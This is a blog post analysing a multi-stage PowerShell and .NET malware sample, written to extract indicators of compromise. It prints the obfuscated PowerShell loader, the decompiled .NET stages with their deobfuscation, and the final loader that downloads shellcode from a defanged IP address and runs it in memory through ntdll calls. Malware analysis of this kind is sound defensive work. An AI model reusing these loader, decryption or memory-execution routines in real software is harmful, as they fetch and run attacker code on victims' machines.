cwoellner.com ~ personal website & blog

Malware Analysis: PowerShell and .NET based malware

Published on: Friday, Mar 29, 2024

Intro: The Incident

The other day I got notified of the following detection:

"cmd.exe" "/c set x=9aea6903e047ff49647028a996c58b9c5b1af6d0-3a4434fa-x && type c:\windows\temp\1.log | powershell.exe -nop - && del c:\windows\temp\1.log"

A log-file getting piped into PowerShell and deleted afterward? That does look like a true positive. Luckily the EDR solution was able to quarantine the file. In order to identify IoCs and hunt for other potentially infected machines a malware analysis was in order. In this post I want to describe the different methods and tools I used to do so.

Part One: The PowerShell Assembly Loader

After opening the file I got greeted by this obfuscated piece of code:

$dj3DQ="Z17uEAPeOi1ryK/SLy34OVwabnGQ8LKsV2XLE05ATuajuwFuyfMCzyoEfhAA3jotb8iv0tDS+DnkGm5xEPCyrBl6cR1O9EcrggMAIgTSVqdDd15gcrFdXw6lj7GxvJZWkDoMFLCCx8I3DKUzCg8dxs7UZQvn/g/
... truncated for readability ...
+DnkGm5xkPCyrBdlyxNOQE7mo7sBbsnzAs8qBH4QAN46LW/Ir9LQ0vg55BpucZDwsqwXZcsTTkBO5qO7AW7J8wLPKgR+EADeOi1vyK/S0NL4OQ=="
$kWc8=42,4,126,16,0,222,58,45,111,200,175,210,208,210,248,57,228,26,110,113,144,240,178,172,23,101,203,19,78,64,78,230,163,187,1,110,201,243,2,207
$gWISV=&(($dj3DQ[100,25,67,54,75,7]-join'')+"-"+($dj3DQ[4,79,256,11,7,31,31,9,54,25]-join'')) $("$"+($dj3DQ[7,25,67]-join'')+":"+($dj3DQ[79]-join''))
$XLXG3W=244742510-244742510
$MDNO=&(($dj3DQ[100,25,67,54,75,7]-join'')+"-"+($dj3DQ[4,79,256,11,7,31,31,9,54,25]-join'')) $("["+($dj3DQ[15,12,31,63,7,77]-join'')+"."+($dj3DQ[51,54,25,67,7,11,63]-join'')+"]")
$uk5U=$MDNO::FromBase64String($dj3DQ)|%{$_-bxor$kWc8[$XLXG3W++%$kWc8.length]}
$h68h=&(($dj3DQ[100,25,67,54,75,7]-join'')+"-"+($dj3DQ[4,79,256,11,7,31,31,9,54,25]-join'')) $("["+($dj3DQ[15,12,31,63,7,77]-join'')+"."+($dj3DQ[89,7,49,86,7,88,63,9,54,25]-join'')+"."+($dj3DQ[5,31,31,7,77,24,86,12]-join'')+"]")
$G5MyVm=$h68h::Load([byte[]]$uk5U)
[rRFWhA]::MNzHQ(58564349, @($gWISV))

The judging by its length, the first variable must be our shellcode. Most the obfuscation is just hiding strings in the shellcode and thus easy to reverse.

$encrypted_shellcode="Z17uEAPeOi1ryK/SLy34OVwabnGQ8LKsV2XLE05ATuajuwFuyfMCzyoEfhAA3jotb8iv0tDS+DnkGm5xEPCyrBl6cR1O9EcrggMAIgTSVqdDd15gcrFdXw6lj7GxvJZWkDoMFLCCx8I3DKUzCg8dxs7UZQvn/g/
... truncated for readability ...
+DnkGm5xkPCyrBdlyxNOQE7mo7sBbsnzAs8qBH4QAN46LW/Ir9LQ0vg55BpucZDwsqwXZcsTTkBO5qO7AW7J8wLPKgR+EADeOi1vyK/S0NL4OQ=="
$decryption_key=42,4,126,16,0,222,58,45,111,200,175,210,208,210,248,57,228,26,110,113,144,240,178,172,23,101,203,19,78,64,78,230,163,187,1,110,201,243,2,207
$decrypted_shellcode=Invoke-Expression [system.convert]::FromBase64String($encrypted_shellcode)|%{$_-bxor$decryption_key[1]}
$G5MyVm=$Invoke-Expression [system.Reflection.Assembly]::Load([byte[]]$decrypted_shellcode)
[rRFWhA]::MNzHQ(58564349, @(Invoke-Expression $env:x))

The script decrypts the shellcode and loads it as a .NET assembly. Afterward the function MNzHQ of the class rRFWhA gets called using the x variable set on the CLI and an integer.

I remove the function call on the last line and add a command pausing the code until the next key press.

$null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown');

Now I can use ExtremeDumper to vie the loaded modules of the process, I look for any In-Memory modules and dump the IEXMI module. I now have a .NET assembly file for further analysis.

Part Two: The .NET

I use ILSpy to decompile the code I just obtained and end up with the following functions and classes:

ILSpy Class and Function Tree

The PowerShell script calls MNzHQ, so I will start with function.

MNzHQ

public static void MNzHQ(int P_0, string[] P_1)
{
	if (P_0 != (-801071310 ^ -750976561))
	{
		return;
	}
	string obj = P_1[0x5C48CE21 ^ 0x5C48CE21];
	char[] array = new char[0x391E2F95 ^ 0x391E2F94];
	array[0x7246 ^ 0x7246] = '-';
	string[] array2 = obj.Split(array);
	string text = array2[0x35522791 ^ 0x35522791];
	string text2 = array2[0x6D429F61 ^ 0x6D429F60];
	string text3 = array2[0x6DE9B564 ^ 0x6DE9B566];
	byte[] array3 = quTtgxcH(text);
	UrsokZ(scrz, array3);
	try
	{
		Assembly assembly = Assembly.Load(scrz);
		Type type = assembly.GetType(UOM.SzvPcbakU("32onO+Vd", 0x1A4FCE61 ^ 0x4D51108E));
		MethodInfo method = type.GetMethod(UOM.SzvPcbakU("SGdhgYI=", -1754540577 ^ -335517321));
		object[] array4 = new object[0x598066D5 ^ 0x598066D1];
		array4[-2125131798 ^ -2125131798] = 0x3A726744 ^ 0x317EE5F2;
		array4[-1264470873 ^ -1264470874] = array3;
		array4[0x590DECF9 ^ 0x590DECFB] = text2;
		array4[0x65767F3C ^ 0x65767F3F] = text3;
		method.Invoke(null, array4);
	}
	catch (Exception)
	{
	}
}

Similar to the PowerShell script there is a lot of simple obfuscation, which can be cleaned up with relative ease. Resulting in the following code:

public static void MNzHQ(int key, string[] env_x)
{
	if (key != 58564349)
	{
		return;
	}
	string[] array2 = env_x[0].Split('-');
	string text = array2[0]; // 9aea6903e047ff49647028a996c58b9c5b1af6d0
	string text2 = array2[1]; // 3a4434fa
	string text3 = array2[2]; // x
	byte[] array3 = quTtgxcH(text);
	UrsokZ(scrz, array3);
	try
	{
		Assembly assembly = Assembly.Load(scrz);
		Type type = assembly.GetType(UOM.SzvPcbakU("32onO+Vd", 1461640943));
		MethodInfo method = type.GetMethod(UOM.SzvPcbakU("SGdhgYI=", 2070658216));
		object[] array4 = new object[4];
		array4[0] = 185369270;
		array4[1] = array3;
		array4[2] = array2[1]; // 3a4434fa
		array4[3] = array2[2]; // x
		method.Invoke(null, array4);
	}
	catch (Exception)
	{
	}
}

The first variable appears to be some sort of password/key and severs no other point than being checked once.

The x variable from the command line gets split up. While the second and third part get directly passed to another .NET assembly, the first part is getting modified and is then used for modifying the scrz array, an array that is set on creation of the class, the modified scrz is then used as the next .NET assembly module.

From the module a type and method are loaded, and then the method gets invoked.

quTtgxcH

Let’s take a look at the function modifying our passed string:

private static byte[] quTtgxcH(string P_0) // 9aea6903e047ff49647028a996c58b9c5b1af6d0
{
	byte[] array = new byte[P_0.Length >> 1]; // 20
	for (int i = 0; i < P_0.Length >> 1; i++)
	{
		array[i] = (byte)((NQJ(P_0[i << 1]) << 4) + NQJ(P_0[(i << 1) + 1])); 
	}
	return array;
}

The function returns a 20 length byte array, the values are generated by shifting bits and calling NQJ.

private static int NQJ(char P_0)
{
	return P_0 - ((P_0 < ':') ? 48 : ((P_0 < 'a') ? 55 : 87)); // 48 = 0; 55 = 7; 87 = W
}

NQJ uses ternary operators to modify the bytes based on their value. Since the byte values in here a hard-coded this might be a good section to create YARA rules from.

I am more interested in the functionality and translate the expression into an easier to read form:

condition ? consequent : alternative
if (P_0 < 58) {
    return P_0 - 48;
} else {
    if (P_0 < 97) {
        return P_0 - 55;
    } else {
        return P_0 - 87;
    }
}

Stepping through the function we end up with the following byte array:

byte[] quT = new byte[] {154, 234, 105, 3, 224, 71, 255, 73, 100, 112, 40, 169, 150, 197, 139, 156, 91, 26, 246, 208};

UrsokZ

The UrsokZ function uses our new array to decrypt the code stored in scrz and again uses some basic obfuscation.

private static void UrsokZ(byte[] P_0, byte[] P_1)
{
	byte[] array = new byte[0x176F9BB0 ^ 0x176F9AB0];
	byte[] array2 = new byte[-1069195551 ^ -1069195295];
	int i;
	for (i = 0x4ACA6329 ^ 0x4ACA6329; i < (0xAFD24FB ^ 0xAFD25FB); i++)
	{
		array[i] = (byte)i;
		array2[i] = P_1[i % P_1.Length];
	}
	int num = 0x39864613 ^ 0x39864613;
	for (i = 0x272D457F ^ 0x272D457F; i < (-1248877108 ^ -1248877364); i++)
	{
		num = (num + array[i] + array2[i]) % (0x1BA ^ 0xBA);
		byte b = array[i];
		array[i] = array[num];
		array[num] = b;
	}
	i = (num = 0x15B55F01 ^ 0x15B55F01);
	for (int j = -1178341649 ^ -1178341649; j < P_0.Length; j++)
	{
		i = (i + (-736379218 ^ -736379217)) % (0x6A69F7EF ^ 0x6A69F6EF);
		num = (num + array[i]) % (-1176401785 ^ -1176401529);
		byte b = array[i];
		array[i] = array[num];
		array[num] = b;
		int num2 = (array[i] + array[num]) % (0x7A8E69A1 ^ 0x7A8E68A1);
		P_0[j] ^= array[num2];
	}
}

Once deobfuscated I end with the following code:

private static void UrsokZ(byte[] P_0, byte[] P_1)
{
	byte[] array = new byte[256];
	byte[] array2 = new byte[256];
	int i;
	for (i = 0; i < 256; i++)
	{
		array[i] = (byte)i; // 1 - 256
		array2[i] = P_1[i % P_1.Length]; // loop of P_1
	}
	int num = 0;
	for (i = 0; i < (256); i++)
	{
		num = (num + array[i] + array2[i]) % 256;
		byte b = array[i];
		array[i] = array[num];
		array[num] = b;
	}
	i = (num = 0);
	for (int j = 0; j < P_0.Length; j++)
	{
		i = (i + 1) % 256;
		num = (num + array[i]) % 256;
		byte b = array[i];
		array[i] = array[num];
		array[num] = b;
		int num2 = (array[i] + array[num]) % 256;
		P_0[j] ^= array[num2];
	}
}

Most of the operations here happen on the values of the key, the shellcode in only modified in the last loop.

When initially trying to step through this, I started with an empty array, since the decompiled constructor does not contain any value assignments, but my attempts never resulted in valid code. After looking around the decompiled binary I found the following internal variable, that was not correctly decompiled:

internal static aYjmqL AMpB

After using the values from this variable as my starting values for scrz, I was able the generate valid code.

UOM.SzvPcbakU

The function SzvPcbakU is only used for further obfuscation and contains this simple piece of code:

public static string SzvPcbakU(string P_0, int P_1)
{
	byte[] array = Convert.FromBase64String(P_0);
	int num = P_1;
	for (int i = 0; i < array.Length; i++)
	{
		num = num * 1877473282 + 11989;
		array[i] ^= (byte)num;
	}
	return Encoding.UTF8.GetString(array);
}

Running the function reveals us the names of the class and the function loaded from the next .NET assembly module:

UOM.SzvPcbakU("32onO+Vd", 1461640943) -> lQlPNv
UOM.SzvPcbakU("SGdhgYI=", 2070658216) -> mxrzI

Yet another stage

Using the decompiled code and the values generated so far I can rebuild the code in C# and replace the invoke command on the last line with Wait-for-Keypress statement.

I can now compile and run the C# binary and use ExtremeDumper to dump the .NET module. The dumped module reveals the following structure

ILSpy Tree of the second module

In terms of obfuscation the code is very similar to the previous code so, I will not get into detail as much as before. Here is the decompiled code:

public static void mxrzI(int P_0, byte[] P_1, string P_2, string P_3)
{
	if (P_0 != (0x3C9ED4FC ^ 0x3792564A))
	{
		return;
	}
	WebClient webClient = new WebClient();
	IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
	if (defaultWebProxy != null)
	{
		defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;
		webClient.Proxy = defaultWebProxy;
	}
	int num = P_3.IndexOf(LsMRsn.sDclT("iQ+V", 0x7195A0F1 ^ 0x7B6E0391));
	if (num != (-1799980811 ^ 0x6B49870A))
	{
		string address = P_3.Substring(num + (-335059184 ^ -335059181));
		webClient.Proxy = new WebProxy(address);
	}
	ServicePointManager.SecurityProtocol = (SecurityProtocolType)(-1247972225) ^ (SecurityProtocolType)(-1247971201);
	ServicePointManager.ServerCertificateValidationCallback = IzsH;
	gWvBX(aTWapoNMc, P_1);
	gWvBX(ZhEvyQO, P_1);
	string @string = Encoding.ASCII.GetString(aTWapoNMc, -686433704 ^ -686433704, aTWapoNMc.Length);
	string string2 = Encoding.ASCII.GetString(ZhEvyQO, 0x622B54BC ^ 0x622B54BC, ZhEvyQO.Length);
	string address2 = string.Format(string2, @string, (IntPtr.Size == (-1590584540 ^ -1590584532)) ? LsMRsn.sDclT("ig==", 0x1C51CD73 ^ 0x54F4C9D1) : LsMRsn.sDclT("hw==", -1118453203 ^ -1118460436), P_2);
	try
	{
		byte[] array = webClient.DownloadData(address2);
		if (array.Length > (-1160913022 ^ -1160912990))
		{
			gWvBX(array, P_1);
			string text = typeof(lQlPNv).Assembly.ToString();
			AssemblyName assemblyName = new AssemblyName(text);
			AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, (AssemblyBuilderAccess)(-1856059275) ^ (AssemblyBuilderAccess)(-1856059276));
			ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule(text, false);
			TypeBuilder typeBuilder = moduleBuilder.DefineType(text, (TypeAttributes)715683859 ^ (TypeAttributes)715683858);
			Type typeFromHandle = typeof(int);
			string text2 = LsMRsn.sDclT("CTuLAwNBCwMD", 0x3F3F3B95 ^ 0x3F3F2138);
			string text3 = LsMRsn.sDclT("5StuAwMADA4bCjkGHRsaDgMiCgIAHRY=", -1147563267 ^ -1147563357);
			Type[] array2 = new Type[0x3817550E ^ 0x38175508];
			array2[0x60B1CD4A ^ 0x60B1CD4A] = typeof(IntPtr);
			array2[0x1C7B0C1B ^ 0x1C7B0C1A] = typeof(IntPtr).MakeByRefType();
			array2[0x545191D6 ^ 0x545191D4] = typeof(UIntPtr);
			array2[-1222633307 ^ -1222633306] = typeof(UIntPtr).MakeByRefType();
			array2[-1592611132 ^ -1592611136] = typeof(uint);
			array2[0x617C6D4 ^ 0x617C6D1] = typeof(uint);
			SadFHK(typeBuilder, typeFromHandle, text2, text3, array2);
			Type typeFromHandle2 = typeof(int);
			string text4 = LsMRsn.sDclT("HQvLAwNBCwMD", -404443231 ^ -752749455);
			string text5 = LsMRsn.sDclT("YRs/HQAbCgwbOQYdGxoOAyIKAgAdFg==", -1104108860 ^ -1104108901);
			Type[] array3 = new Type[0xAC6C ^ 0xAC69];
			array3[-1287664353 ^ -1287664353] = typeof(IntPtr);
			array3[0x1495FCDF ^ 0x1495FCDE] = typeof(IntPtr).MakeByRefType();
			array3[-544891373 ^ -544891375] = typeof(UIntPtr).MakeByRefType();
			array3[0xFED3ED4 ^ 0xFED3ED7] = typeof(uint);
			array3[-1835382724 ^ -1835382728] = typeof(uint).MakeByRefType();
			SadFHK(typeBuilder, typeFromHandle2, text4, text5, array3);
			Type typeFromHandle3 = typeof(int);
			string text6 = LsMRsn.sDclT("bcvLAwNBCwMD", 0x3818D27D ^ 0x3818D249);
			string text7 = LsMRsn.sDclT("cdsgHwoBPAoMGwYAAQ==", 0xC ^ 0xAF);
			Type[] array4 = new Type[0x65169D2A ^ 0x65169D29];
			array4[0x28AB ^ 0x28AB] = typeof(IntPtr).MakeByRefType();
			array4[-2068543399 ^ -2068543400] = typeof(uint);
			array4[0xF92 ^ 0xF90] = typeof(PsW).MakeByRefType();
			SadFHK(typeBuilder, typeFromHandle3, text6, text7, array4);
			Type typeFromHandle4 = typeof(int);
			string text8 = LsMRsn.sDclT("8VsLAwNBCwMD", -131422228 ^ -1640983657);
			string text9 = LsMRsn.sDclT("zcvsAwAcCg==", -650727521 ^ -650714165);
			Type[] array5 = new Type[-122179197 ^ -122179198];
			array5[-6924 ^ -6924] = typeof(IntPtr);
			SadFHK(typeBuilder, typeFromHandle4, text8, text9, array5);
			Type typeFromHandle5 = typeof(int);
			string text10 = LsMRsn.sDclT("qbuLAwNBCwMD", -305417514 ^ -305417709);
			string text11 = LsMRsn.sDclT("rdsDIgAZCiIKAgAdFg==", 0x64CC ^ 0x2FDF);
			Type[] array6 = new Type[-513050108 ^ -513050105];
			array6[-2038227921 ^ -2038227921] = typeof(IntPtr);
			array6[0x2565A2B1 ^ 0x2565A2B0] = typeof(IntPtr);
			array6[0x4A0C9C41 ^ 0x4A0C9C43] = typeof(int);
			SadFHK(typeBuilder, typeFromHandle5, text10, text11, array6);
			Type typeFromHandle6 = typeof(int);
			string text12 = LsMRsn.sDclT("VetLAwNBCwMD", 0x21BF ^ 0x217D);
			string text13 = LsMRsn.sDclT("ZSt6AQIOHzkGChggCTwKDBsGAAE=", 0x3DB3FF87 ^ 0x3DB3FFF9);
			Type[] array7 = new Type[0x3A45D205 ^ 0x3A45D207];
			array7[-403005185 ^ -403005185] = typeof(IntPtr);
			array7[-13321437 ^ -13321438] = typeof(IntPtr);
			SadFHK(typeBuilder, typeFromHandle6, text12, text13, array7);
			Type typeFromHandle7 = typeof(int);
			string text14 = LsMRsn.sDclT("MVsLAwNBCwMD", -64 ^ -1278541845);
			string text15 = LsMRsn.sDclT("6TuiDh85BgoYIAk8CgwbBgAB", 0x1C37C0A2 ^ 0x660E2ADF);
			Type[] array8 = new Type[0x79355110 ^ 0x7935511A];
			array8[0x10A4F167 ^ 0x10A4F167] = typeof(IntPtr);
			array8[-184117328 ^ -184117327] = typeof(IntPtr);
			array8[-703639802 ^ -703639804] = typeof(IntPtr).MakeByRefType();
			array8[-1760860805 ^ -1760860808] = typeof(IntPtr);
			array8[0x227691EB ^ 0x227691EF] = typeof(IntPtr);
			array8[0x4A0D5D7F ^ 0x4A0D5D7A] = typeof(IntPtr);
			array8[0x32D203AB ^ 0x32D203AD] = typeof(IntPtr).MakeByRefType();
			array8[-419754716 ^ -419754717] = typeof(uint);
			array8[0x7432 ^ 0x743A] = typeof(uint);
			array8[-497958063 ^ -497958056] = typeof(uint);
			SadFHK(typeBuilder, typeFromHandle7, text14, text15, array8);
			Type typeFromHandle8 = typeof(int);
			string text16 = LsMRsn.sDclT("PYvLAwNBCwMD", -984731771 ^ -984731827);
			string text17 = LsMRsn.sDclT("CWtDJgEGGzoBBgwACwo8Gx0GAQg=", -1165253900 ^ -1165253954);
			Type[] array9 = new Type[-1318688995 ^ -1318688993];
			array9[-1560792744 ^ -1560792744] = typeof(DFxX).MakeByRefType();
			array9[-1150594636 ^ -1150594635] = typeof(string);
			SadFHK(typeBuilder, typeFromHandle8, text16, text17, array9);
			Type typeFromHandle9 = typeof(int);
			string text18 = LsMRsn.sDclT("UdsLAwNBCwMD", 0x273830EE ^ 0x1B2BC24D);
			string text19 = LsMRsn.sDclT("X5vdKAobKwMDJw4BCwMKKhc=", 0x57D91694 ^ 0x57D9166C);
			Type[] array10 = new Type[0x325156B ^ 0x325156E];
			array10[0x639B96B ^ 0x639B96B] = typeof(uint);
			array10[-975853557 ^ -975853558] = typeof(IntPtr);
			array10[0x908B4E0 ^ 0x908B4E2] = typeof(IntPtr);
			array10[0x1D7566E1 ^ 0x1D7566E2] = typeof(DFxX).MakeByRefType();
			array10[-1288606396 ^ -1288606400] = typeof(IntPtr).MakeByRefType();
			SadFHK(typeBuilder, typeFromHandle9, text18, text19, array10);
			MFUVIt = typeBuilder.CreateType();
			uint num2 = 0x1F1A89CD ^ 0x1F1A89CDu;
			IntPtr zero = IntPtr.Zero;
			UIntPtr uIntPtr = (UIntPtr)(ulong)(array.Length + (0x5142BB34 ^ 0x5142BA34));
			IntPtr intPtr = (IntPtr)(0x617F4FFF ^ -1635733504);
			IntPtr intPtr2 = kBLaY();
			JOFFg(intPtr2);
			Environment.SetEnvironmentVariable(LsMRsn.sDclT("n5piPzc=", 0x44B85BB ^ 0x44BCE9D), P_3);
			SdotBSd(intPtr, ref zero, (UIntPtr)(0xE14B9115u ^ 0xE14B9115u), ref uIntPtr, 0x65BFD5D ^ 0x65BCD5Du, 0x62468CF6 ^ 0x62468CF2u);
			Marshal.Copy(array, -899041426 ^ -899041426, zero, array.Length);
			KcpzSbQGR(intPtr, ref zero, ref uIntPtr, 0xB8u ^ 0x98u, ref num2);
			Console.WriteLine(array.Length);
			BdDDePYAP bdDDePYAP = (BdDDePYAP)Marshal.GetDelegateForFunctionPointer(zero, typeof(BdDDePYAP));
			bdDDePYAP(IntPtr.Zero);
		}
		else
		{
			Console.WriteLine(LsMRsn.sDclT("zQ==", -673626612 ^ -673626445));
		}
	}
	catch (Exception ex)
	{
		Console.WriteLine(ex.Message);
	}
}

And here is the deobfuscated code, I also cut out some of the less relevant part for readability.

public static void mxrzI(int key, byte[] P_1, string P_2, string P_3)
{
	if (key != 185369270)
	{
		return;
	}
	WebClient webClient = new WebClient();
	string url = (IntPtr.Size == (8) ?  "hxxps://185.130.45[.]220/0/3a4434fa" : "hxxps://185.130.45[.]220/1/3a4434fa");
	try
	{
		byte[] array = webClient.DownloadData(url);
		if (array.Length > (32))
		{
			gWvBX(array, P_1);
			string text = typeof(lQlPNv).Assembly.ToString();
			AssemblyName assemblyName = new AssemblyName(text);
			AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, (AssemblyBuilderAccess)1);
			ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule(text, false);
			TypeBuilder typeBuilder = moduleBuilder.DefineType(text, (TypeAttributes)1);
			Type typeFromHandle = typeof(int);
			Type[] array2 = new Type[6];
			array2[0] = typeof(IntPtr);
			array2[1] = typeof(IntPtr).MakeByRefType();
			array2[2] = typeof(UIntPtr);
			array2[3] = typeof(UIntPtr).MakeByRefType();
			array2[4] = typeof(uint);
			array2[5] = typeof(uint);
			SadFHK(typeBuilder, typeFromHandle, "ntdll.dll", "NtAllocateVirtualMemory", array2);
			Type typeFromHandle2 = typeof(int);
			Type[] array3 = new Type[5];
			array3[0] = typeof(IntPtr);
			array3[1] = typeof(IntPtr).MakeByRefType();
			array3[2] = typeof(UIntPtr).MakeByRefType();
			array3[3] = typeof(uint);
			array3[4] = typeof(uint).MakeByRefType();
			SadFHK(typeBuilder, typeFromHandle2, "ntdll.dll", "NtProtectVirtualMemory", array3);
			Type typeFromHandle3 = typeof(int);
			Type[] array4 = new Type[3];
			array4[0] = typeof(IntPtr).MakeByRefType();
			array4[1] = typeof(uint);
			array4[2] = typeof(PsW).MakeByRefType();
			SadFHK(typeBuilder, typeFromHandle3, "ntdll.dll", "NtOpenSection", array4);
			Type typeFromHandle4 = typeof(int);
			Type[] array5 = new Type[1];
			array5[0] = typeof(IntPtr);
			SadFHK(typeBuilder, typeFromHandle4, "ntdll.dll", "NtClose", array5);
			Type typeFromHandle5 = typeof(int);
			Type[] array6 = new Type[3];
			array6[0] = typeof(IntPtr);
			array6[1] = typeof(IntPtr);
			array6[2] = typeof(int);
			SadFHK(typeBuilder, typeFromHandle5, "ntdll.dll", "RtlMoveMemory", array6);
			Type typeFromHandle6 = typeof(int);
			Type[] array7 = new Type[2];
			array7[0] = typeof(IntPtr);
			array7[1] = typeof(IntPtr);
			SadFHK(typeBuilder, typeFromHandle6, "ntdll.dll", "??nmapViewOfSection", array7);
			Type typeFromHandle7 = typeof(int);
			Type[] array8 = new Type[10];
			array8[0] = typeof(IntPtr);
			array8[1] = typeof(IntPtr);
			array8[2] = typeof(IntPtr).MakeByRefType();
			array8[3] = typeof(IntPtr);
			array8[4] = typeof(IntPtr);
			array8[5] = typeof(IntPtr);
			array8[6] = typeof(IntPtr).MakeByRefType();
			array8[7] = typeof(uint);
			array8[8] = typeof(uint);
			array8[9] = typeof(uint);
			SadFHK(typeBuilder, typeFromHandle7, "ntdll.dll", "NtMapViewOfSection", array8);
			Type typeFromHandle8 = typeof(int);
			Type[] array9 = new Type[2];
			array9[0] = typeof(DFxX).MakeByRefType();
			array9[1] = typeof(string);
			SadFHK(typeBuilder, typeFromHandle8, "ntdll.dll", "RtlInitUnicodeString", array9);
			Type typeFromHandle9 = typeof(int);
			Type[] array10 = new Type[5];
			array10[0] = typeof(uint);
			array10[1] = typeof(IntPtr);
			array10[2] = typeof(IntPtr);
			array10[3] = typeof(DFxX).MakeByRefType();
			array10[4] = typeof(IntPtr).MakeByRefType();
			SadFHK(typeBuilder, typeFromHandle9, "ntdll.dll", "LdrGetDllHandleEx", array10);
			MFUVIt = typeBuilder.CreateType();
			uint num2 = 0;
			IntPtr zero = IntPtr.Zero;
			UIntPtr uIntPtr = (UIntPtr)(ulong)(array.Length + 256);
			IntPtr intPtr = (IntPtr)(-1);
			IntPtr intPtr2 = kBLaY(); //RtlInitUnicodeString + LdrGetDllHandleEx
			JOFFg(intPtr2); //NtProtectVirtualMemory
			Environment.SetEnvironmentVariable("TEMPX", P_3);
			SdotBSd(intPtr, ref zero, (UIntPtr)(0), ref uIntPtr, 12288, 4); //NtProtectVirtualMemory, enable writing
			Marshal.Copy(array, 0, zero, array.Length); //copy shellcode
			KcpzSbQGR(intPtr, ref zero, ref uIntPtr, 32, ref num2); //NtProtectVirtualMemory, enable execution
			Console.WriteLine(array.Length);
			BdDDePYAP bdDDePYAP = (BdDDePYAP)Marshal.GetDelegateForFunctionPointer(zero, typeof(BdDDePYAP));
			bdDDePYAP(IntPtr.Zero); //execute?
		}
		else
		{
			Console.WriteLine("b");
		}
	}
	catch (Exception ex)
	{
		Console.WriteLine(ex.Message);
	}
}

The code starts of by downloading a payload based on the CPU architecture. When I tried to download the data, the file had already been removed, so we will never know what exact payload was being used.

Most of the code is used for dynamically generating code, the last part is then used to invoke this code and copy the shellcode from the download in the beginning to memory and to execute it. Here is the build used to generate the dynamic code:

private static void SadFHK(TypeBuilder P_0, Type P_1, string P_2, string P_3, Type[] P_4)
{
	MethodBuilder methodBuilder = P_0.DefineMethod(P_3, (MethodAttributes)22, P_1, P_4);
	Type typeFromHandle = typeof(DllImportAttribute);
	Type[] array = new Type[1];
	array[0] = typeof(string);
	ConstructorInfo constructor = typeFromHandle.GetConstructor(array);
	FieldInfo[] array2 = new FieldInfo[4];
	array2[0] = typeof(DllImportAttribute).GetField("EntryPoint");
	array2[1] = typeof(DllImportAttribute).GetField("PreserveSig");
	array2[2] = typeof(DllImportAttribute).GetField("CallingConvention");
	array2[3] = typeof(DllImportAttribute).GetField("CharSet");
	FieldInfo[] namedFields = array2;
	object[] array3 = new object[4];
	array3[0] = P_3;
	array3[1] = true;
	array3[2] = (CallingConvention)1;
	array3[3] = (CharSet)3;
	object[] fieldValues = array3;
	CustomAttributeBuilder customAttribute = new CustomAttributeBuilder(constructor, ["ntdll.dll"], namedFields, fieldValues);
	methodBuilder.SetCustomAttribute(customAttribute);
}

Without the payload, this is where my analysis ends. Thank you for reading.

IoCs

The malware can be downloaded for further analysis here. The password is ‘infected’.

Here are the IoCs, I was able to identify:

Type Value Description
URL https://185.130.45[.]220/0/3a4434fa Payload URL
URL https://185.130.45[.]220/1/3a4434fa Payload URL
SHA256 5c5b10b4487c9cc44895481361e109026cf1cbd1bbaadfaa9bdc183b070a2ba5 PowerShell Script
SHA256 b76e498b6cdce606fe096be5d6d6c2f096b7e5941e358c5e0c350ddca7ae8775 First Module
SHA256 f878caed1c13e8b8791b96951175ed8f06fb5b4e4fb6da727f0b6423ffd44872 Second Module
Environment Variable x Set via cmd
Environment Variable TEMPX Set via second module